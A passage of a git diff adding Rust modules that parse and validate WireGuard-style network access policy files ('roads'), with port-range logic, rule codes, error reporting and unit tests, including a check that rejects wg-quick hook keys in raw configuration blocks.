(a, b) { + (None, _) | (_, None) => true, + (Some(a), Some(b)) => a.iter().any(|x| { + b.iter().any(|y| { + x.proto == y.proto && { + let (xl, xh) = x.covers_range(); + let (yl, yh) = y.covers_range(); + xl <= yh && yl <= xh + } + }) + }), + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn specs(s: &[&str]) -> Vec { + s.iter().map(|x| PortSpec::parse(x).unwrap()).collect() + } + + #[test] + fn parse_and_print() { + for s in [ + "tcp/443", + "udp/53", + "tcp/8000-8100", + "tcp", + "udp", + "icmp", + "tcp/65535", + ] { + assert_eq!(PortSpec::parse(s).unwrap().to_string(), s); + } + for bad in [ + "tcp/0", + "tcp/0443", + "tcp/65536", + "tcp/443-443", + "tcp/500-400", + "icmp/8", + "sctp/1", + "tcp/", + "tcp/a", + "TCP/443", + "", + ] { + assert!(PortSpec::parse(bad).is_err(), "{bad}"); + } + } + + #[test] + fn subsets() { + assert!(is_subset( + &specs(&["tcp/443"]), + &specs(&["tcp/443", "tcp/22"]) + )); + assert!(!is_subset(&specs(&["tcp/80"]), &specs(&["tcp/443"]))); + assert!(!is_subset(&specs(&["udp/443"]), &specs(&["tcp/443"]))); + assert!(is_subset( + &specs(&["tcp/8000-8100"]), + &specs(&["tcp/8000-8050", "tcp/8051-8100"]) + )); + assert!(!is_subset( + &specs(&["tcp/8000-8100"]), + &specs(&["tcp/8000-8050", "tcp/8052-8100"]) + )); + assert!(is_subset(&specs(&["tcp/1-10"]), &specs(&["tcp"]))); + assert!(!is_subset(&specs(&["tcp"]), &specs(&["tcp/1-65534"]))); + assert!(is_subset( + &specs(&["tcp"]), + &specs(&["tcp/1-100", "tcp/101-65535"]) + )); + assert!(is_subset(&specs(&["icmp"]), &specs(&["icmp"]))); + } + + #[test] + fn overlap() { + assert!(overlaps(None, Some(&specs(&["tcp/1"])))); + assert!(overlaps( + Some(&specs(&["tcp/400-500"])), + Some(&specs(&["tcp/443"])) + )); + assert!(!overlaps( + Some(&specs(&["tcp/400-500"])), + Some(&specs(&["udp/443"])) + )); + } +} diff --git a/crates/roads/src/problem.rs b/crates/roads/src/problem.rs new file mode 100644 index 0000000..873d865 --- /dev/null +++ b/crates/roads/src/problem.rs @@ -0,0 +1,85 @@ +//! Problems: what `via check` reports (docs/FORMATS.md). +//! +//! One line per problem, as Pensum does it: `[:]: [: ] []`. + +use std::fmt; + +/// Whether a problem is an error (the file is wrong) or a valid road that grants nothing right now. +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash, serde::Serialize)] +#[serde(rename_all = "kebab-case")] +pub enum Severity { + Error, + Inactive, +} + +/// One validation problem. `path` is store-relative, with `/`. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, serde::Serialize)] +pub struct Problem { + pub path: String, + pub line: Option, + pub field: Option, + /// A rule code from [`crate::rules::ALL`]. + pub code: &'static str, + pub message: String, + pub severity: Severity, +} + +impl Problem { + pub fn error( + path: &str, + field: Option<&str>, + code: &'static str, + message: impl Into, + ) -> Self { + debug_assert!( + crate::rules::ALL.contains(&code), + "unlisted rule code {code}" + ); + Problem { + path: path.to_string(), + line: None, + field: field.map(String::from), + code, + message: message.into(), + severity: Severity::Error, + } + } + + pub fn inactive( + path: &str, + field: Option<&str>, + code: &'static str, + message: impl Into, + ) -> Self { + Problem { + severity: Severity::Inactive, + ..Problem::error(path, field, code, message) + } + } + + /// Sets the 1-based line; 0 means unknown. + pub fn at(mut self, line: usize) -> Self { + self.line = (line > 0).then_some(line); + self + } + + pub fn is_error(&self) -> bool { + self.severity == Severity::Error + } +} + +impl fmt::Display for Problem { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + if self.severity == Severity::Inactive { + f.write_str("inactive: ")?; + } + f.write_str(&self.path)?; + if let Some(line) = self.line { + write!(f, ":{line}")?; + } + if let Some(field) = &self.field { + write!(f, ": {field}")?; + } + write!(f, ": {} [{}]", self.message, self.code) + } +} diff --git a/crates/roads/src/road.rs b/crates/roads/src/road.rs new file mode 100644 index 0000000..3a7194b --- /dev/null +++ b/crates/roads/src/road.rs @@ -0,0 +1,862 @@ +//! Road files: `roads/-.md`, a strict header and a body (docs/FORMATS.md, "Road files"). + +use crate::header::{self, Value}; +use crate::id::{self, RoadId}; +use crate::ids::{AppId, DeviceKey, GroupId, Hostname, PersonId, clip}; +use crate::net::Net; +use crate::ports::PortSpec; +use crate::problem::Problem; +use crate::rules as r; +use jiff::Timestamp as Instant; +use std::collections::BTreeMap; +use std::fmt; + +/// Largest road file accepted. +pub const MAX_FILE: usize = 256 * 1024; + +pub const REQUIRED: [&str; 4] = ["id", "subject", "verb", "created"]; +pub const OPTIONAL: [&str; 5] = ["object", "until", "ports", "via", "classic"]; +/// The canonical key order. +pub const ORDER: [&str; 9] = [ + "id", "subject", "verb", "object", "until", "ports", "via", "classic", "created", +]; + +#[derive(Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Verb { + CanReach, + ExitsThrough, + GoesDirect, + NeverOnlineWithout, + Custom, +} + +impl Verb { + pub const ALL: [Verb; 5] = [ + Verb::CanReach, + Verb::ExitsThrough, + Verb::GoesDirect, + Verb::NeverOnlineWithout, + Verb::Custom, + ]; + + pub fn as_str(self) -> &'static str { + match self { + Verb::CanReach => "can-reach", + Verb::ExitsThrough => "exits-through", + Verb::GoesDirect => "goes-direct", + Verb::NeverOnlineWithout => "never-online-without", + Verb::Custom => "custom", + } + } + + pub fn parse(s: &str) -> Option { + Verb::ALL.into_iter().find(|v| v.as_str() == s) + } + + fn subject_kinds(self) -> &'static [Kind] { + match self { + Verb::GoesDirect => &[Kind::Person, Kind::Group, Kind::Device, Kind::App], + Verb::Custom => &[Kind::Device], + _ => &[Kind::Person, Kind::Group, Kind::Device], + } + } + + fn object_kinds(self) -> &'static [Kind] { + match self { + Verb::CanReach => &[Kind::Device, Kind::Subnet, Kind::Service], + Verb::ExitsThrough | Verb::NeverOnlineWithout => &[Kind::Exit], + Verb::GoesDirect => &[Kind::Subnet], + Verb::Custom => &[], + } + } + + /// Whether this verb takes `key` at all. + fn takes(self, key: &str) -> bool { + match key { + "object" => self != Verb::Custom, + "ports" | "via" => self == Verb::CanReach, + "classic" => matches!(self, Verb::CanReach | Verb::ExitsThrough | Verb::Custom), + _ => true, + } + } +} + +impl fmt::Display for Verb { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + f.write_str(self.as_str()) + } +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Kind { + Person, + Group, + Device, + App, + Subnet, + Service, + Exit, +} + +impl Kind { + fn name(self) -> &'static str { + match self { + Kind::Person => "person", + Kind::Group => "group", + Kind::Device => "device", + Kind::App => "app", + Kind::Subnet => "subnet", + Kind::Service => "service", + Kind::Exit => "exit", + } + } +} + +/// Who a road is for. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Subject { + Person(PersonId), + Group(GroupId), + Device(DeviceKey), + App(AppId), +} + +/// What a road points at. +#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord, Hash)] +pub enum Place { + Device(DeviceKey), + Subnet(Net), + Service(Hostname), + Exit(DeviceKey), +} + +impl fmt::Display for Subject { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Subject::Person(p) => write!(f, "person:{p}"), + Subject::Group(g) => write!(f, "group:{g}"), + Subject::Device(d) => write!(f, "device:{d}"), + Subject::App(a) => write!(f, "app:{a}"), + } + } +} + +impl fmt::Display for Place { + fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result { + match self { + Place::Device(d) => write!(f, "device:{d}"), + Place::Subnet(n) => write!(f, "subnet:{n}"), + Place::Service(h) => write!(f, "service:{h}"), + Place::Exit(d) => write!(f, "exit:{d}"), + } + } +} + +enum Ref { + S(Subject), + P(Place), +} + +impl Ref { + fn kind(&self) -> Kind { + match self { + Ref::S(Subject::Person(_)) => Kind::Person, + Ref::S(Subject::Group(_)) => Kind::Group, + Ref::S(Subject::Device(_)) | Ref::P(Place::Device(_)) => Kind::Device, + Ref::S(Subject::App(_)) => Kind::App, + Ref::P(Place::Subnet(_)) => Kind::Subnet, + Ref::P(Place::Service(_)) => Kind::Service, + Ref::P(Place::Exit(_)) => Kind::Exit, + } + } +} + +/// Parses `:`. The error is a rule code and a message. +fn parse_ref(s: &str) -> Result { + let bad = |what: &str| (r::REF_FORMAT, format!("`{}` is not {what}", clip(s))); + let Some((kind, v)) = s.split_once(':') else { + return Err(( + r::REF_FORMAT, + format!( + "`{}` is not a reference like `person:` or `device:`", + clip(s) + ), + )); + }; + Ok(match kind { + "person" => Ref::S(Subject::Person( + PersonId::new(v).ok_or_else(|| bad("a person: 1-64 of A-Z a-z 0-9 _ -"))?, + )), + "group" => Ref::S(Subject::Group( + GroupId::new(v).ok_or_else(|| bad("a group: 1-64 of A-Z a-z 0-9 _ -"))?, + )), + "device" => Ref::P(Place::Device(DeviceKey::new(v).ok_or_else(|| { + bad("a device: a Tessera key, 43 characters of base64url") + })?)), + "app" => Ref::S(Subject::App( + AppId::new(v).ok_or_else(|| bad("an app: 1-32 of a-z 0-9 -"))?, + )), + "subnet" => match Net::parse_canonical(v) { + Ok(n) if n.embeds_ipv4() => { + return Err(( + r::REF_FORMAT, + format!( + "`{}` embeds IPv4 addresses in IPv6; write the IPv4 subnet", + clip(v) + ), + )); + } + Ok(n) => Ref::P(Place::Subnet(n)), + Err(true) => { + return Err(( + r::SUBNET_NOT_CANONICAL, + format!( + "`{}` has host bits set or an unusual form; write the network itself", + clip(v) + ), + )); + } + Err(false) => return Err(bad("a subnet like 192.168.100.0/24")), + }, + "service" => Ref::P(Place::Service( + Hostname::new(v).ok_or_else(|| bad("a service: a lowercase hostname"))?, + )), + "exit" => Ref::P(Place::Exit(DeviceKey::new(v).ok_or_else(|| { + bad("an exit: a Tessera key, 43 characters of base64url") + })?)), + _ => { + return Err(( + r::REF_FORMAT, + format!( + "`{}`: the kind is person, group, device, app, subnet, service or exit", + clip(s) + ), + )); + } + }) +} + +/// An RFC 3339 time with an offset, kept as written. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Timestamp { + text: String, + at: Instant, +} + +impl Timestamp { + pub fn parse(s: &str) -> Option { + let b = s.as_bytes(); + let shape = b.len() >= 20 + && b[10] == b'T' + && (s.ends_with('Z') || matches!(b[b.len() - 6], b'+' | b'-')); + let at: Instant = s.parse().ok()?; + shape.then(|| Timestamp { + text: s.to_string(), + at, + }) + } + + pub fn as_str(&self) -> &str { + &self.text + } + + pub fn at(&self) -> Instant { + self.at + } +} + +/// What follows the header. +#[derive(Debug, Clone, PartialEq, Eq)] +pub enum Body { + /// A free-text note, never interpreted. + Note(String), + /// A custom road's raw block, byte for byte, never interpreted. + Raw(String), +} + +/// A road whose file parsed and whose fields are well formed. Whether it compiles depends on the snapshots. +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Road { + pub path: String, + pub id: RoadId, + pub subject: Subject, + pub verb: Verb, + pub object: Option, + pub until: Option, + pub ports: Option>, + pub via: Option, + pub classic: Option, + pub created: Timestamp, + pub body: Body, + lines: BTreeMap, +} + +impl Road { + /// The file line of `key`, or 0. + pub fn line_of(&self, key: &str) -> usize { + self.lines.get(key).copied().unwrap_or(0) + } + + pub fn is_classic(&self) -> bool { + self.classic == Some(true) + } + + /// The road as one line: `person:jana can-reach service:photos.home.arpa until …`. + pub fn sentence(&self, name: &dyn Fn(&DeviceKey) -> Option) -> String { + let dev = |k: &DeviceKey| name(k).unwrap_or_else(|| k.short().to_string()); + let subject = match &self.subject { + Subject::Device(k) => format!("device:{}", dev(k)), + s => s.to_string(), + }; + let mut out = format!("{subject} {}", self.verb); + match &self.object { + Some(Place::Device(k)) => out.push_str(&format!(" device:{}", dev(k))), + Some(Place::Exit(k)) => out.push_str(&format!(" exit:{}", dev(k))), + Some(p) => out.push_str(&format!(" {p}")), + None => {} + } + if let Some(u) = &self.until { + out.push_str(&format!(" until {}", u.as_str())); + } + if let Some(p) = &self.ports { + let list: Vec = p.iter().map(|p| p.to_string()).collect(); + out.push_str(&format!(" ports [{}]", list.join(", "))); + } + if let Some(v) = &self.via { + out.push_str(&format!(" via {}", dev(v))); + } + if self.is_classic() { + out.push_str(" (classic, not post-quantum)"); + } + out + } + + /// The canonical file text (docs/FORMATS.md, "Canonical form"). + pub fn render(&self) -> String { + let mut out = String::from("---\n"); + let mut field = |k: &str, v: String| { + out.push_str(k); + out.push_str(": "); + out.push_str(&v); + out.push('\n'); + }; + let scalar = |s: String| { + if header::is_plain_safe(&s, false) { + s + } else { + header::quote(&s) + } + }; + field("id", self.id.to_string()); + field("subject", scalar(self.subject.to_string())); + field("verb", self.verb.to_string()); + if let Some(o) = &self.object { + field("object", scalar(o.to_string())); + } + if let Some(u) = &self.until { + field("until", scalar(u.as_str().to_string())); + } + if let Some(p) = &self.ports { + let items: Vec = p + .iter() + .map(|p| { + let s = p.to_string(); + if header::is_plain_safe(&s, true) { + s + } else { + header::quote(&s) + } + }) + .collect(); + field("ports", format!("[{}]", items.join(", "))); + } + if let Some(v) = &self.via { + field("via", scalar(format!("device:{v}"))); + } + if let Some(c) = self.classic { + field("classic", c.to_string()); + } + field("created", scalar(self.created.as_str().to_string())); + out.push_str("---\n"); + match &self.body { + Body::Note(n) => out.push_str(n), + Body::Raw(raw) => { + out.push_str("```raw\n"); + out.push_str(raw); + out.push_str("```\n"); + } + } + out + } + + /// Parses one road file. `path` is store-relative (`roads/`); every problem names it. + pub fn parse(path: &str, bytes: &[u8]) -> Result> { + let err = |field: Option<&str>, code, msg: String| Problem::error(path, field, code, msg); + if bytes.len() > MAX_FILE { + return Err(vec![err( + None, + r::FILE_SIZE, + format!("larger than {} KiB", MAX_FILE / 1024), + )]); + } + if bytes.starts_with(&[0xEF, 0xBB, 0xBF]) { + return Err(vec![err( + None, + r::FILE_ENCODING, + "starts with a byte order mark; save it as UTF-8 without one".into(), + )]); + } + let Ok(text) = std::str::from_utf8(bytes) else { + return Err(vec![err(None, r::FILE_ENCODING, "is not UTF-8".into())]); + }; + let mut problems = Vec::new(); + let name = path.rsplit('/').next().unwrap_or(path); + let name_id = id::split_file_name(name).map(|(i, _)| i); + if name_id.is_none() { + problems.push(err( + None, + r::FILE_NAME, + format!("the file name must be -.md with a slug of a-z, 0-9 and -, at most {} characters", id::SLUG_MAX), + )); + } + + // Split into lines, keeping where each one ends. + let mut lines: Vec<&str> = Vec::new(); + let mut ends: Vec = Vec::new(); + let mut start = 0; + for (i, b) in text.bytes().enumerate() { + if b == b'\n' { + lines.push(text[start..i].strip_suffix('\r').unwrap_or(&text[start..i])); + ends.push(i + 1); + start = i + 1; + } + } + if start < text.len() { + lines.push(text[start..].strip_suffix('\r').unwrap_or(&text[start..])); + ends.push(text.len()); + } + if lines.first() != Some(&"---") { + problems.push(err(None, r::FILE_HEADER, "the first line must be `---`".into()).at(1)); + return Err(problems); + } + let Some(close) = lines + .iter() + .skip(1) + .position(|l| *l == "---") + .map(|p| p + 1) + else { + problems.push(err( + None, + r::FILE_HEADER, + "the header is not closed by a `---` line".into(), + )); + return Err(problems); + }; + let body_text = &text[ends[close]..]; + let fields = match header::parse(&lines[1..close], 2) { + Ok(f) => f, + Err(e) => { + problems + .push(Problem::error(path, e.field.as_deref(), e.code, e.message).at(e.line)); + return Err(problems); + } + }; + + let line_of: BTreeMap = + fields.iter().map(|f| (f.key.clone(), f.line)).collect(); + let at = |k: &str| line_of.get(k).copied().unwrap_or(0); + let p = |k: &str, code: &'static str, msg: String| { + Problem::error(path, Some(k), code, msg).at(at(k)) + }; + let get = |k: &str| { + fields + .iter() + .find(|f| f.key == k) + .map(|f| &f.value) + .filter(|v| **v != Value::Absent) + }; + + for f in &fields { + if !REQUIRED.contains(&f.key.as_str()) && !OPTIONAL.contains(&f.key.as_str()) { + problems.push(p(&f.key, r::KEY_UNKNOWN, "unknown key".into())); + } + } + for k in REQUIRED { + if get(k).is_none() { + problems.push( + Problem::error(path, Some(k), r::KEY_MISSING, "missing required key").at(at(k)), + ); + } + } + let single = |k: &str, problems: &mut Vec| -> Option { + match get(k) { + Some(Value::Str(s)) => Some(s.clone()), + Some(Value::List(_)) => { + problems.push(p( + k, + r::KEY_TYPE, + "must be a single value, not a list".into(), + )); + None + } + _ => None, + } + }; + + let id = single("id", &mut problems).and_then(|s| match RoadId::new(&s) { + Some(id) => { + if name_id.is_some_and(|n| n != id.as_str()) { + problems.push(p( + "id", + r::ID_FILE_NAME, + format!("id {id} does not match the file name {name}"), + )); + } + Some(id) + } + None => { + problems.push(p( + "id", + r::ID_FORMAT, + format!( + "`{}` is not a road id: 6 characters of 0-9 a-z without i l o u", + clip(&s) + ), + )); + None + } + }); + + let verb = single("verb", &mut problems).and_then(|s| { + let v = Verb::parse(&s); + if v.is_none() { + problems.push(p( + "verb", + r::VERB_UNKNOWN, + format!( + "`{}` is not a verb: can-reach, exits-through, goes-direct, never-online-without or custom", + clip(&s) + ), + )); + } + v + }); + + let subject = single("subject", &mut problems).and_then(|s| match parse_ref(&s) { + Err((code, m)) => { + problems.push(p("subject", code, m)); + None + } + Ok(rf) => { + let kind = rf.kind(); + let subject = match rf { + Ref::S(s) => Some(s), + Ref::P(Place::Device(d)) => Some(Subject::Device(d)), + Ref::P(_) => None, + }; + let allowed = verb.map_or( + &[Kind::Person, Kind::Group, Kind::Device, Kind::App][..], + |v| v.subject_kinds(), + ); + if subject.is_none() || !allowed.contains(&kind) { + problems.push(p( + "subject", + r::SUBJECT_KIND, + kind_message(kind, verb, allowed), + )); + None + } else { + subject + } + } + }); + + if let Some(v) = verb { + for k in OPTIONAL { + if !v.takes(k) && line_of.contains_key(k) { + problems.push(p(k, r::KEY_FORBIDDEN, format!("a {v} road takes no `{k}`"))); + } + } + if v != Verb::Custom && get("object").is_none() { + problems.push( + Problem::error(path, Some("object"), r::KEY_MISSING, "missing required key") + .at(at("object")), + ); + } + } + let takes = |k: &str| verb.is_none_or(|v| v.takes(k)); + + let object = if takes("object") { + single("object", &mut problems).and_then(|s| match parse_ref(&s) { + Err((code, m)) => { + problems.push(p("object", code, m)); + None + } + Ok(rf) => { + let kind = rf.kind(); + let allowed = verb.map_or( + &[Kind::Device, Kind::Subnet, Kind::Service, Kind::Exit][..], + |v| v.object_kinds(), + ); + match rf { + Ref::P(place) if allowed.contains(&kind) => Some(place), + _ => { + problems.push(p( + "object", + r::OBJECT_KIND, + kind_message(kind, verb, allowed), + )); + None + } + } + } + }) + } else { + None + }; + + let until = single("until", &mut problems).and_then(|s| { + let t = Timestamp::parse(&s); + if t.is_none() { + problems.push(p( + "until", + r::UNTIL_FORMAT, + format!("`{}` is not an RFC 3339 time with an offset", clip(&s)), + )); + } + t + }); + let created = single("created", &mut problems).and_then(|s| { + let t = Timestamp::parse(&s); + if t.is_none() { + problems.push(p( + "created", + r::CREATED_FORMAT, + format!("`{}` is not an RFC 3339 time with an offset", clip(&s)), + )); + } + t + }); + + let ports = if takes("ports") { + match get("ports") { + Some(Value::Str(_)) => { + problems.push(p( + "ports", + r::KEY_TYPE, + "must be a list, like [tcp/443]".into(), + )); + None + } + Some(Value::List(items)) => { + let mut out = Vec::new(); + for it in items { + match PortSpec::parse(it) { + Ok(s) => out.push(s), + Err(m) => problems.push(p("ports", r::PORTS_FORMAT, m)), + } + } + if items.is_empty() { + problems.push(p( + "ports", + r::PORTS_FORMAT, + "an empty list grants nothing; leave `ports` out for all traffic" + .into(), + )); + } + Some(out) + } + _ => None, + } + } else { + None + }; + + let via = if takes("via") { + single("via", &mut problems).and_then(|s| { + match s.strip_prefix("device:").and_then(DeviceKey::new) { + Some(k) => Some(k), + None => { + problems.push(p( + "via", + r::VIA_FORMAT, + format!("`{}` is not `device:`", clip(&s)), + )); + None + } + } + }) + } else { + None + }; + + let classic = if takes("classic") { + single("classic", &mut problems).and_then(|s| match s.as_str() { + "true" => Some(true), + "false" => Some(false), + _ => { + problems.push(p( + "classic", + r::CLASSIC_FORMAT, + format!("`{}` is not true or false", clip(&s)), + )); + None + } + }) + } else { + None + }; + + let body = if verb == Some(Verb::Custom) { + match raw_block(body_text) { + Some(raw) => { + for (i, key) in raw_hooks(raw) { + problems.push( + Problem::error( + path, + None, + r::BODY_RAW_HOOK, + format!("`{key}` runs commands or rewrites routing when wg-quick brings the config up; it is not allowed in a raw block"), + ) + .at(close + 3 + i), + ); + } + Some(Body::Raw(raw.to_string())) + } + None => { + problems.push( + Problem::error( + path, + None, + r::BODY_RAW_MISSING, + "a custom road's body is one ```raw block: a ```raw line, the raw lines, a ``` line", + ) + .at(close + 2), + ); + None + } + } + } else { + if body_text + .split('\n') + .any(|l| l.strip_suffix('\r').unwrap_or(l) == "```raw") + { + problems.push( + Problem::error( + path, + None, + r::BODY_RAW_OUTSIDE_CUSTOM, + "a ```raw block belongs only in a custom road", + ) + .at(close + 2), + ); + } + Some(Body::Note(body_text.to_string())) + }; + + if !problems.is_empty() { + problems.sort_by_key(|p| p.line); + return Err(problems); + } + match (id, subject, verb, created, body) { + (Some(id), Some(subject), Some(verb), Some(created), Some(body)) => Ok(Road { + path: path.to_string(), + id, + subject, + verb, + object, + until, + ports, + via, + classic, + created, + body, + lines: line_of, + }), + _ => unreachable!("a missing field always leaves a problem"), + } + } +} + +fn kind_message(kind: Kind, verb: Option, allowed: &[Kind]) -> String { + let names: Vec<&str> = allowed.iter().map(|k| k.name()).collect(); + match verb { + Some(v) if names.is_empty() => format!("a {v} road takes no {}", kind.name()), + Some(v) => format!("a {v} road takes {}, not {}", names.join(", "), kind.name()), + None => format!("{} is not allowed here", kind.name()), + } +} + +/// wg-quick keys that run shell commands as root or change host routing (wg-quick(8)); QA R-41. +pub const RAW_HOOKS: [&str; 7] = [ + "preup", + "postup", + "predown", + "postdown", + "saveconfig", + "table", + "fwmark", +]; + +/// The (0-based line, key) of every hook key in a raw block, in any case and spacing. +pub fn raw_hooks(raw: &str) -> Vec<(usize, String)> { + raw.split('\n') + .enumerate() + .filter_map(|(i, l)| { + let key = l + .split('=') + .next()? + .trim_matches(|c: char| c.is_whitespace()); + (l.contains('=') && RAW_HOOKS.contains(&key.to_ascii_lowercase().as_str())) + .then(|| (i, key.to_string())) + }) + .collect() +} + +/// The raw bytes of a body that is exactly one ```` ```raw ```` block. +fn raw_block(body: &str) -> Option<&str> { + let rest = body + .strip_prefix("```raw\n") + .or_else(|| body.strip_prefix("```raw\r\n"))?; + let without_end = rest + .strip_suffix("\r\n") + .or_else(|| rest.strip_suffix('\n')) + .unwrap_or(rest); + let raw = without_end.strip_suffix("```")?; + (raw.is_empty() || raw.ends_with('\n')).then_some(raw) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn raw_blocks() { + assert_eq!( + raw_block("```raw\n[Peer]\nA = b\n```\n"), + Some("[Peer]\nA = b\n") + ); + assert_eq!(raw_block("```raw\n```"), Some("")); + assert_eq!(raw_block("```raw\r\nx\r\n```\r\n"), Some("x\r\n")); + assert_eq!( + raw_block("```raw\nx\n```\ny\n"), + None, + "text after the block" + ); + assert_eq!( + raw_block("```raw\nx```\n"), + None, + "the fence must start a line" + ); + assert_eq!(raw_block("note\n"), None); + } + + #[test] + fn timestamps() { + assert!(Timestamp::parse("2026-11-29T23:59:59+01:00").is_some()); + assert!(Timestamp::parse("2026-11-29T22:59:59Z").is_some()); + assert!(Timestamp::parse("2026-11-29 23:59:59+01:00").is_none()); + assert!(Timestamp::parse("2026-11-29").is_none()); + assert!(Timestamp::parse("2026-02-30T00:00:00Z").is_none()); + } +} diff --git a/crates/roads/src/rules.rs b/crates/roads/src/rules.rs new file mode 100644 index 0000000..b5cf2fe --- /dev/null +++ b/crates/roads/src/rules.rs @@ -0,0 +1,125 @@ +//! Every rule code a [`crate::Problem`] can carry (docs/FORMATS.md). The validation test fails if one of +//! these has no failing fixture. + +// Road files +pub const FILE_KIND: &str = "file.kind"; +pub const FILE_NAME: &str = "file.name"; +pub const FILE_SIZE: &str = "file.size"; +pub const FILE_ENCODING: &str = "file.encoding"; +pub const FILE_HEADER: &str = "file.header"; +pub const FILE_COUNT: &str = "file.count"; +pub const YAML_REFUSED: &str = "yaml.refused"; +pub const YAML_SYNTAX: &str = "yaml.syntax"; +pub const KEY_UNKNOWN: &str = "key.unknown"; +pub const KEY_DUPLICATE: &str = "key.duplicate"; +pub const KEY_MISSING: &str = "key.missing"; +pub const KEY_FORBIDDEN: &str = "key.forbidden"; +pub const KEY_TYPE: &str = "key.type"; +pub const ID_FORMAT: &str = "id.format"; +pub const ID_FILE_NAME: &str = "id.file-name"; +pub const ID_DUPLICATE: &str = "id.duplicate"; +pub const VERB_UNKNOWN: &str = "verb.unknown"; +pub const REF_FORMAT: &str = "ref.format"; +pub const SUBJECT_KIND: &str = "subject.kind"; +pub const SUBJECT_UNKNOWN: &str = "subject.unknown"; +pub const OBJECT_KIND: &str = "object.kind"; +pub const OBJECT_UNKNOWN: &str = "object.unknown"; +pub const OBJECT_NOT_EXIT: &str = "object.not-exit"; +pub const SUBNET_NOT_CANONICAL: &str = "subnet.not-canonical"; +pub const SUBNET_UNROUTED: &str = "subnet.unrouted"; +pub const UNTIL_FORMAT: &str = "until.format"; +pub const CREATED_FORMAT: &str = "created.format"; +pub const PORTS_FORMAT: &str = "ports.format"; +pub const PORTS_NOT_SERVED: &str = "ports.not-served"; +pub const VIA_FORMAT: &str = "via.format"; +pub const VIA_UNKNOWN: &str = "via.unknown"; +pub const VIA_NOT_RELAY: &str = "via.not-relay"; +pub const CLASSIC_FORMAT: &str = "classic.format"; +pub const CLASSIC_UNACKNOWLEDGED: &str = "classic.unacknowledged"; +pub const BODY_RAW_MISSING: &str = "body.raw-missing"; +pub const BODY_RAW_OUTSIDE_CUSTOM: &str = "body.raw-outside-custom"; +pub const BODY_RAW_HOOK: &str = "body.raw-hook"; + +// Inactive roads +pub const ROAD_EXPIRED: &str = "road.expired"; +pub const ROAD_NO_DEVICES: &str = "road.no-devices"; +pub const ROAD_SELF: &str = "road.self"; +pub const EXIT_CONFLICT: &str = "exit.conflict"; +pub const DIRECT_KILL_SWITCH: &str = "direct.kill-switch"; + +// Snapshots +pub const SNAPSHOT_JSON: &str = "snapshot.json"; +pub const SNAPSHOT_FORMAT: &str = "snapshot.format"; +pub const DIRECTORY_ID: &str = "directory.id"; +pub const DIRECTORY_DUPLICATE: &str = "directory.duplicate"; +pub const DIRECTORY_NAME: &str = "directory.name"; +pub const DIRECTORY_MEMBER: &str = "directory.member"; +pub const DEVICES_KEY: &str = "devices.key"; +pub const DEVICES_DUPLICATE: &str = "devices.duplicate"; +pub const DEVICES_NAME: &str = "devices.name"; +pub const DEVICES_OWNER: &str = "devices.owner"; +pub const DEVICES_ADDRESS: &str = "devices.address"; +pub const DEVICES_ROUTE: &str = "devices.route"; +pub const DEVICES_OVERLAP: &str = "devices.overlap"; +pub const DEVICES_SERVICE: &str = "devices.service"; +pub const DEVICES_PORTS: &str = "devices.ports"; + +pub const ALL: &[&str] = &[ + FILE_KIND, + FILE_NAME, + FILE_SIZE, + FILE_ENCODING, + FILE_HEADER, + FILE_COUNT, + YAML_REFUSED, + YAML_SYNTAX, + KEY_UNKNOWN, + KEY_DUPLICATE, + KEY_MISSING, + KEY_FORBIDDEN, + KEY_TYPE, + ID_FORMAT, + ID_FILE_NAME, + ID_DUPLICATE, + VERB_UNKNOWN, + REF_FORMAT, + SUBJECT_KIND, + SUBJECT_UNKNOWN, + OBJECT_KIND, + OBJECT_UNKNOWN, + OBJECT_NOT_EXIT, + SUBNET_NOT_CANONICAL, + SUBNET_UNROUTED, + UNTIL_FORMAT, + CREATED_FORMAT, + PORTS_FORMAT, + PORTS_NOT_SERVED, + VIA_FORMAT, + VIA_UNKNOWN, + VIA_NOT_RELAY, + CLASSIC_FORMAT, + CLASSIC_UNACKNOWLEDGED, + BODY_RAW_MISSING, + BODY_RAW_OUTSIDE_CUSTOM, + BODY_RAW_HOOK, + ROAD_EXPIRED, + ROAD_NO_DEVICES, + ROAD_SELF, + EXIT_CONFLICT, + DIRECT_KILL_SWITCH, + SNAPSHOT_JSON, + SNAPSHOT_FORMAT, + DIRECTORY_ID, + DIRECTORY_DUPLICATE, + DIRECTORY_NAME, + DIRECTORY_MEMBER, + DEVICES_KEY, + DEVICES_DUPLICATE, + DEVICES_NAME, + DEVICES_OWNER, + DEVICES_ADDRESS, + DEVICES_ROUTE, + DEVICES_OVERLAP, + DEVICES_SERVICE, + DEVICES_PORTS, +]; diff --git a/crates/roads/src/snapshot.rs b/crates/roads/src/snapshot.rs new file mode 100644 index 0000000..d1c3f77 --- /dev/null +++ b/crates/roads/src/snapshot.rs @@ -0,0 +1,514 @@ +//! The two snapshots the compiler reads besides the roads: `directory.json` and `devices.json` +//! (docs/FORMATS.md). Both are strict: unknown fields are errors, and any error means no plan is produced. + +use crate::ids::{ + DeviceKey, GroupId, Hostname, PersonId, clip, is_device_key, is_hostname, is_opaque_id, +}; +use crate::net::{Addr, Net}; +use crate::ports::PortSpec; +use crate::problem::Problem; +use crate::rules as r; +use serde::Deserialize; +use std::collections::{BTreeMap, BTreeSet}; + +pub const DIRECTORY_FILE: &str = "directory.json"; +pub const DEVICES_FILE: &str = "devices.json"; +pub const MAX_SNAPSHOT: usize = 4 * 1024 * 1024; + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Person { + pub id: PersonId, + pub name: String, +} + +#[derive(Debug, Clone, PartialEq, Eq)] +pub struct Group { + pub id: GroupId, + pub name: String, + pub members: BTreeSet, +} + +/// The people directory snapshot, validated. +#[derive(Debug, 